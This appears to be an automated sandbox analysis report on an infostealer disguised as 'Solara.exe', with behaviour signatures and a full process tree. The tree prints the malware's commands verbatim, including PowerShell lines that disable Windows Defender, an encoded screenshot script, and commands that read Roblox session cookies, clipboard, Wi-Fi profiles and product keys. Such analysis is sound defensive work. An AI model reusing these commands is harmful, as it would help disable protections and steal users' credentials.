Analysis
- max time kernel
147s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20241007-en - resource tags
- submitted
14/11/2024, 18:47
General
- Target Solara.exe
- Size 8.5MB
- Sample241114-xfbfvs1mdy
- SHA256 aefc3487d439bd87a9de7e5b25d18ab8839096fa6b08e9192c563c6ec0550292
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops file in Drivers directory 3 IoCs
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 28 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Blocklisted process makes network request 3 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates processes with tasklist 1 TTPs 5 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
- UPX packed file 59 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 25 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 30 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 25 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 3 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Solara.exe"C:\Users\Admin\AppData\Local\Temp\Solara.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 25⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 25⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""4⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"5⤵
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
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C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"4⤵
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C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
- Clipboard Data
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
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C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
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C:\Windows\system32\tree.comtree /A /F5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\system32\netsh.exenetsh wlan show profile5⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"4⤵
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C:\Windows\system32\systeminfo.exesysteminfo5⤵
- Gathers system information
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"4⤵
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C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i0rvxgb2\i0rvxgb2.cmdline"6⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8CEE.tmp" "c:\Users\Admin\AppData\Local\Temp\i0rvxgb2\CSC2E9928CC633944FC80343070DA3717EB.TMP"7⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
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C:\Windows\system32\tree.comtree /A /F5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
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C:\Windows\system32\tree.comtree /A /F5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"4⤵
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C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
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C:\Windows\system32\tree.comtree /A /F5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"4⤵
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C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
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C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
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C:\Windows\system32\tree.comtree /A /F5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
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C:\Windows\system32\tree.comtree /A /F5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY5⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"4⤵
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
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C:\Windows\system32\getmac.exegetmac5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24602\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Wpdhs.zip" *"4⤵
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C:\Users\Admin\AppData\Local\Temp\_MEI24602\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI24602\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Wpdhs.zip" *5⤵
- Executes dropped EXE
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"4⤵
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C:\Windows\System32\Wbem\WMIC.exewmic os get Caption5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"4⤵
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C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
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C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault5⤵
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Built.exe""4⤵
- System Network Configuration Discovery: Internet Connection Discovery
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C:\Windows\system32\PING.EXEping localhost -n 35⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.23.exe"C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.23.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
